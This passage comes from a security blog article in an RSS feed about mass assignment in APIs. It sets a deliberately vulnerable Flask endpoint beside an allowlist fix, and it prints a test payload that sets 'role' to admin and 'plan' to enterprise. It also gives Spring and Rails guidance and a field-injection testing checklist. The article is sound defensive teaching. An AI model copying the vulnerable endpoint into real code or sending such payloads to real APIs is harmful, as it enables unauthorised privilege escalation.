</span></span><span style="display:flex;"><span>    g<span style="color:#f92672">.</span>user_id <span style="color:#f92672">=</span> <span style="color:#ae81ff">1</span>  <span style="color:#75715e"># stand-in for real authentication</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Vulnerable: every JSON key the client sends is written to the record.</span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">@app.patch</span>(<span style="color:#e6db74">&#34;/v1/me&#34;</span>)
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">def</span> <span style="color:#a6e22e">update_me_vulnerable</span>():
</span></span><span style="display:flex;"><span>    USERS[g<span style="color:#f92672">.</span>user_id]<span style="color:#f92672">.</span>update(request<span style="color:#f92672">.</span>get_json())
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">return</span> jsonify(USERS[g<span style="color:#f92672">.</span>user_id])
</span></span></code></pre></div><p>The fixed version defines what a user may change, and rejects anything else:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span><span style="color:#75715e"># Fixed: a dedicated input model lists the only fields a user may change,</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># and rejects anything else instead of silently ignoring it.</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">class</span> <span style="color:#a6e22e">ProfileUpdate</span>(BaseModel):
</span></span><span style="display:flex;"><span>    model_config <span style="color:#f92672">=</span> ConfigDict(extra<span style="color:#f92672">=</span><span style="color:#e6db74">&#34;forbid&#34;</span>)
</span></span><span style="display:flex;"><span>    email: EmailStr <span style="color:#f92672">|</span> <span style="color:#66d9ef">None</span> <span style="color:#f92672">=</span> <span style="color:#66d9ef">None</span>
</span></span><span style="display:flex;"><span>    display_name: str <span style="color:#f92672">|</span> <span style="color:#66d9ef">None</span> <span style="color:#f92672">=</span> Field(default<span style="color:#f92672">=</span><span style="color:#66d9ef">None</span>, max_length<span style="color:#f92672">=</span><span style="color:#ae81ff">80</span>)
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#a6e22e">@app.patch</span>(<span style="color:#e6db74">&#34;/v2/me&#34;</span>)
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">def</span> <span style="color:#a6e22e">update_me_fixed</span>():
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">try</span>:
</span></span><span style="display:flex;"><span>        changes <span style="color:#f92672">=</span> ProfileUpdate<span style="color:#f92672">.</span>model_validate(request<span style="color:#f92672">.</span>get_json())
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">except</span> ValidationError <span style="color:#66d9ef">as</span> e:
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">return</span> jsonify(error<span style="color:#f92672">=</span><span style="color:#e6db74">&#34;invalid fields&#34;</span>,
</span></span><span style="display:flex;"><span>                       fields<span style="color:#f92672">=</span>[<span style="color:#e6db74">&#34;.&#34;</span><span style="color:#f92672">.</span>join(map(str, x[<span style="color:#e6db74">&#34;loc&#34;</span>])) <span style="color:#66d9ef">for</span> x <span style="color:#f92672">in</span> e<span style="color:#f92672">.</span>errors()]), <span style="color:#ae81ff">422</span>
</span></span><span style="display:flex;"><span>    USERS[g<span style="color:#f92672">.</span>user_id]<span style="color:#f92672">.</span>update(changes<span style="color:#f92672">.</span>model_dump(exclude_unset<span style="color:#f92672">=</span><span style="color:#66d9ef">True</span>))
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">return</span> jsonify(USERS[g<span style="color:#f92672">.</span>user_id])
</span></span></code></pre></div><p>We sent <code>{&quot;display_name&quot;: &quot;Bobby&quot;, &quot;role&quot;: &quot;admin&quot;, &quot;plan&quot;: &quot;enterprise&quot;}</code> to each endpoint with Flask&rsquo;s test client:</p>
<pre tabindex="0"><code>v1 200 {&#39;display_name&#39;: &#39;Bobby&#39;, &#39;email&#39;: &#39;bob@example.com&#39;, &#39;id&#39;: 1, &#39;org_id&#39;: 7, &#39;plan&#39;: &#39;enterprise&#39;, &#39;role&#39;: &#39;admin&#39;}
v2 422 {&#39;error&#39;: &#39;invalid fields&#39;, &#39;fields&#39;: [&#39;plan&#39;, &#39;role&#39;]}
v2 200 {&#39;display_name&#39;: &#39;Bobby&#39;, &#39;email&#39;: &#39;bob@example.com&#39;, &#39;id&#39;: 1, &#39;org_id&#39;: 7, &#39;plan&#39;: &#39;free&#39;, &#39;role&#39;: &#39;member&#39;}
</code></pre><p>The last line is a legitimate request with only <code>display_name</code>, which the fixed endpoint accepts. <code>exclude_unset=True</code> means fields the client didn&rsquo;t send are left alone, so a partial update doesn&rsquo;t blank the email. Note that a client that explicitly sends <code>&quot;display_name&quot;: null</code> will clear it; add a validator if that should not be allowed. <code>EmailStr</code> needs Pydantic&rsquo;s optional <code>email</code> extra installed.</p>
<p>This is a demonstration, not production code: authentication is faked and storage is a dictionary.</p>
<h2 id="the-same-idea-in-other-frameworks">The same idea in other frameworks</h2>
<h3 id="spring">Spring</h3>
<p>The Spring documentation&rsquo;s guidance for safe binding is, in order: prefer immutable objects (records or constructor binding), or dedicated objects designed for the expected input. It says domain objects such as JPA or Hibernate entities &ldquo;are generally not safe for web binding&rdquo;, and that if you must bind to them you should declare the allowed properties:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-java" data-lang="java"><span style="display:flex;"><span><span style="color:#a6e22e">@InitBinder</span>
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">void</span> <span style="color:#a6e22e">initBinder</span>(WebDataBinder binder) {
</span></span><span style="display:flex;"><span>    binder.<span style="color:#a6e22e">setAllowedFields</span>(<span style="color:#e6db74">&#34;firstName&#34;</span>, <span style="color:#e6db74">&#34;lastName&#34;</span>, <span style="color:#e6db74">&#34;*Address&#34;</span>);
</span></span><span style="display:flex;"><span>}
</span></span></code></pre></div><p>Spring also offers <code>setDeclarativeBinding(true)</code>, which applies constructor binding always and setter binding only when <code>allowedFields</code> is set. The current documentation says <code>disallowedFields</code>, the blocklist approach, has been deprecated in Spring Framework 7.1 &ldquo;because it is fragile and easy to get out of sync with the actual properties over time&rdquo;.</p>
<p>A note from us: <code>@InitBinder</code> configures Spring&rsquo;s data binder, which handles form and query parameters bound to <code>@ModelAttribute</code> arguments. JSON request bodies read with <code>@RequestBody</code> are converted by an HTTP message converter instead, so for JSON APIs the dedicated input class is the control that matters.</p>
<h3 id="rails">Rails</h3>
<p>Strong parameters are on by default: the Rails guide says passing unpermitted parameters to mass assignment raises <code>ActiveModel::ForbiddenAttributesError</code>. Rails 8.0 added <code>params.expect</code>, which the guide calls &ldquo;the safest and most explicit way to permit parameters&rdquo;:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-ruby" data-lang="ruby"><span style="display:flex;"><span><span style="color:#66d9ef">def</span> <span style="color:#a6e22e">user_params</span>
</span></span><span style="display:flex;"><span>  params<span style="color:#f92672">.</span>expect(<span style="color:#e6db74">user</span>: <span style="color:#f92672">[</span><span style="color:#e6db74">:display_name</span>, <span style="color:#e6db74">:email</span><span style="color:#f92672">]</span>)
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">end</span>
</span></span></code></pre></div><p>The guide warns against <code>params.expect(user: {})</code>, which permits every current and future attribute under that key.</p>
<h3 id="nodejs">Node.js</h3>
<p>OWASP&rsquo;s cheat sheet shows the allowlist approach with a pick function, copying only named fields from <code>req.body</code> before constructing the model. A schema validator that rejects unknown keys does the same job.</p>
<h2 id="mistakes-that-reintroduce-the-bug">Mistakes that reintroduce the bug</h2>
<ul>
<li><strong>Blocklisting.</strong> Excluding <code>role</code> works until someone adds <code>is_staff</code>. OWASP and Spring both recommend allowlists.</li>
<li><strong>One input model for every caller.</strong> An admin endpoint may legitimately set <code>role</code>; a self-service endpoint must not. Use separate input models, or decide per field based on who is calling.</li>
<li><strong>Nested objects.</strong> Binding <code>{&quot;profile&quot;: {...}, &quot;account&quot;: {&quot;owner_id&quot;: 2}}</code> onto an object graph can reach properties several levels down. OWASP&rsquo;s cheat sheet tells you to review nested objects; Spring&rsquo;s allowed-field patterns are property paths for the same reason.</li>
<li><strong>Update paths that bypass the model.</strong> A bulk-update job, a GraphQL mutation or an internal admin API that writes the entity directly needs the same allowlist.</li>
<li><strong>Treating field allowlists as authorization.</strong> OWASP says DTOs and allowlists &ldquo;do not replace&rdquo; authorization for the requested object and operation. The <a href="/posts/idor-vulnerabilities-how-to-find-and-fix-insecure-direct-object-references/">IDOR guide</a> covers the object-level check, and <a href="/posts/broken-access-control-real-world-examples-and-how-to-prevent-it/">broken access control</a> covers the wider class.</li>
</ul>
<h2 id="how-to-test-for-it">How to test for it</h2>
<ol>
<li>For each write endpoint, compare the request the UI sends with the object the API returns. Every property in the response that isn&rsquo;t in the request is a candidate.</li>
<li>Send each candidate back in the request, one at a time: <code>role</code>, <code>is_admin</code>, <code>plan</code>, <code>org_id</code>, <code>owner_id</code>, <code>verified</code>, <code>balance</code>, <code>created_at</code>.</li>
<li>Check the stored result, not just the response code. Some vulnerable endpoints return 200 and the unchanged object, then persist the field anyway, or the reverse. OWASP notes that side-effect analysis may be needed when the property isn&rsquo;t returned.</li>
<li>Add regression tests like the one above, so a refactor that switches back to direct binding fails CI.</li>
</ol>
<p>Mass assignment is one of the items in <a href="/posts/the-most-common-api-security-misconfigurations-and-how-to-fix-them/">our list of common API security misconfigurations</a>, and the response-filtering half of API3 belongs in <a href="/posts/how-to-secure-a-public-rest-api-a-production-checklist/">our public REST API checklist</a>.</p>
<h2 id="limits-of-this-article">Limits of this article</h2>
<p>Only the Python example was run. Framework behavior depends on version and configuration; check your framework&rsquo;s documentation for the version you use. We did not independently verify the 2012 GitHub incident beyond OWASP&rsquo;s citation.</p>
<h2 id="sources-and-verification">Sources and verification</h2>
<p>Checked on October 22, 2026.</p>
<table>
  <thead>
      <tr>
          <th>Important claim</th>
          <th>Source</th>
          <th>Verification</th>
      </tr>
  </thead>
  <tbody>
      <tr>
          <td>Definition, alternative names, CWE-915, exploitability without source code, GitHub 2012 case, allowlist over blocklist, DTOs don&rsquo;t replace authorization, review nested objects</td>
          <td><a href="https://cheatsheetseries.owasp.org/cheatsheets/Mass_Assignment_Cheat_Sheet.html">OWASP Mass Assignment Cheat Sheet</a></td>
          <td>Verified</td>
      </tr>
      <tr>
          <td>API3:2023 combines excessive data exposure and mass assignment; exploitability easy; fuzzing and side-effect analysis</td>
          <td><a href="https://owasp.org/API-Security/editions/2023/en/0xa3-broken-object-property-level-authorization/">OWASP API Security Top 10 2023: API3</a></td>
          <td>Verified</td>
      </tr>
      <tr>
          <td>Spring guidance: immutable or dedicated objects; entities generally unsafe; setAllowedFields; declarativeBinding; disallowedFields deprecated in 7.1</td>
          <td><a href="https://docs.spring.io/spring-framework/reference/web/webmvc/mvc-data-binding.html">Spring Framework: Data Binding, Model Design</a> (main-branch documentation source)</td>
          <td>Verified; the 7.1 deprecation is stated in current docs</td>
      </tr>
      <tr>
          <td>Rails ForbiddenAttributesError; params.expect introduced in Rails 8.0; warning on expect with an empty hash</td>
          <td><a href="https://guides.rubyonrails.org/action_controller_overview.html">Rails guide: Action Controller Overview</a> and the Rails 8.0 Action Pack changelog</td>
          <td>Verified</td>
      </tr>
      <tr>
          <td>Python example output</td>
          <td>Run by us on October 22, 2026 (Python 3.13, Flask 3.1.3, Pydantic 2.13.5)</td>
          <td>Verified</td>
      </tr>
      <tr>
          <td>@RequestBody JSON is not handled by the data binder</td>
          <td>Our note</td>
          <td>Qualified</td>
      </tr>
  </tbody>
</table>
]]></content:encoded></item></channel></rss>